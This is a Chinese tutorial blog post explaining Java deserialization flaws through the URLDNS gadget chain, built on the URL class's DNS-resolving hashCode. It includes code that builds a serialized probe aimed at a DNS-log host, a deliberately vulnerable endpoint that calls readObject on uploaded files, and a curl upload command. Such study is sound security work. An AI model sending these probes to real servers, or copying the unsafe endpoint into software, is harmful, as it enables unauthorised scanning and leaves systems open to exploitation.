Java反序列化漏洞 - 1.从URL类的一个bug 说起

URL 类的一个远古bug

截屏2022-07-01 上午1.33.28.png Java 的URL 类有个很好玩的bug,当你调用它的hashCode()方法时,会发起一次DNS 解析。例如,当你往HashSet 添加一个URL元素时,会触发URL 的hashCode() 方法比较元素,然后发出一个DNS 请求。

IMG_8391.JPG 这个bug 源于URL 的一个错误实现,早在2001 年已经有人反馈给oracle,我们现在还能在Oracle 的java bug 反馈平台看到当时的bug report 记录。

当时有好几个人同时反馈了这个问题, 其中一个表示:怎么我调用一个简单的hashCode() 方法花了20秒??!

截屏2022-07-01 上午10.49.10.png

以及:怎么我两个url 不一样,调用equals 比较返回true??!

截屏2022-07-01 上午10.51.56.png

这是因为URL 类在计算hashCode 的时候,发起了DNS 请求获取ip,并且通过ip地址来比较两个URL 对象是否equals。实现这一功能的工程师应该是这么想的,比较两个URL 是否相等时应该比较它们的ip 地址。

oracle 收到bug 反馈后,最后的结论是不处理,因为需要向后兼容。但他们提供了一个新的URI 类来避免这个问题。

Unfortunately, changing the behavior now would break backward compatibility in a serious way, plus Java Security mechanism depends on it in some parts of the implementation. We can't change it now.

这一错误实现看起来没有什么用处,没想到十多年后方便了安全研究人员。

反序列化简介

所以URL 类跟反序列化漏洞有什么关系?当然有关系。 下面先介绍一下反序列化。 简单来说,序列化就是把对象存到文件里,反序列化就是从文件里读取一个对象。 代码运行时对象是在内存里的,运行结束内存里的对象就没有了,为了可以持久化,需要存到文件。

序列化:

Employee employee = new Employee();
FileOutputStream fileOutputStream = new FileOutputStream("/tmp/employee.ser");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(employee);
objectOutputStream.close();
fileOutputStream.close();

反序列化:

FileInputStream fileInputStream = new FileInputStream("/tmp/employee.ser");
ObjectInputStream objectInputStream= new ObjectInputStream(fileInputStream);
Employee employee = (Employee) in.readObject();
objectInputStream.close();
fileInputStream.close();

写到文件里的是二进制数据。我们还可以使用readObject 方法和writeObject 方法来自定义对象里的哪些内容需要序列化。

readObject 和writeObject 是约定俗成的方法,不是哪个接口里定义的方法。Java 在序列化和反序列化时,会通过反射去寻找它们,如果存在会直接调用。

private void writeObject(ObjectOutputStream out) throws IOException;

private void readObject(ObjectInputStream ins) throws IOException, ClassNotFoundException;

如果在反序列化调用readObject 的时候,readObject 里面有一些危险的代码,漏洞就形成了。

以URL 类为例,一个以URL 为key 的HashMap,在反序列化时会调用URL 的hashCode 方法,触发一个DNS 请求。

也就是说我们可以让目标服务器发一个DNS 请求,如果我们收到了这个dns 日志,可以证明反序列化漏洞存在。

探测是否存在反序列化漏洞

我们可以用这个bug 来探测是否存在反序列化漏洞。

1.首先生成序列化文件

Map<URL, String> map = new HashMap<>();
URL url = new URL("<http://xxxx.ceye.io>");   
map.put(url, "test");  //这里就会触发一次dns 请求,可以通过设置SilentURLStreamHandler 或者设置hashCode 来避免,为简单起见先忽略了

try {
    FileOutputStream fileOutputStream = new FileOutputStream("./urldns.ser");
    ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);
    outputStream.writeObject(map);
    outputStream.close();
    fileOutputStream.close();
} catch (Exception e) {
    e.printStackTrace();
}

2.写一个接口测试,接收到文件后调用readObject

@RestController
public class DNSController {

    @PostMapping(value = "/test")
    public String test(@RequestParam("file") MultipartFile file) throws IOException, ClassNotFoundException {
        ObjectInputStream inputStream = new ObjectInputStream(file.getInputStream());
        inputStream.readObject();
        inputStream.close();
        return "OK";
    }
}

3.使用postman 或者curl 等工具测试

curl --location --request POST '<http://127.0.0.1:8080/test>' \
--form 'file=@"/Users/xxxxxx/Desktop/urldns.ser"'

4.在DNS log 平台收到这个DNS 请求,证明漏洞存在

URLDNS 利用链原理分析

这一流程又被称为URLDNS 利用链。

下面我们通过阅读HashMap 和URL 的源码,来分析一下原理。

先从HashMap 的readObject 开始,可以看到使用循环读取key 和value,然后put 到Map 里面。通过hash(key)方法 获取key 的hashCode,而hash 方法调用的是key 的hashCode() 方法,也就是URL 的hashCode 方法。

private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
				//已省略相关代码
        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
                K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);
        }
    }
}

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

URL 的hashCode 方法,在经过一系列调用后,调用InetAddress.getByName(host) 来获取ip 地址。

getByName 方法还可以一步一步跟踪下去,最后实际调用是通过JNI 调用native 方法,具体就不研究了,逻辑不外乎查看/etc/resolv.conf下配置的nameserver和/etc/hosts下面的配置,然后使用DNS协议查询。

public synchronized int hashCode() {
    if (hashCode != -1)
        return hashCode;

    hashCode = handler.hashCode(this);
    return hashCode;
}

//跟踪URLStreamHandler 的hashCode 方法
protected int hashCode(URL u) {
	  //省略
    // Generate the host part.
    InetAddress addr = getHostAddress(u);
    //省略
}

protected synchronized InetAddress getHostAddress(URL u) {
    if (u.hostAddress != null)
        return u.hostAddress;

    String host = u.getHost();
    if (host == null || host.equals("")) {
        return null;
    } else {
        try {
            u.hostAddress = InetAddress.getByName(host);
        } catch (UnknownHostException ex) {
            return null;
        } catch (SecurityException se) {
            return null;
        }
    }
    return u.hostAddress;
}

参考资料

Java反序列化-URLDNS

Java反序列化 — URLDNS利用链分析

猜你喜欢

转载自juejin.im/post/7115420084209713182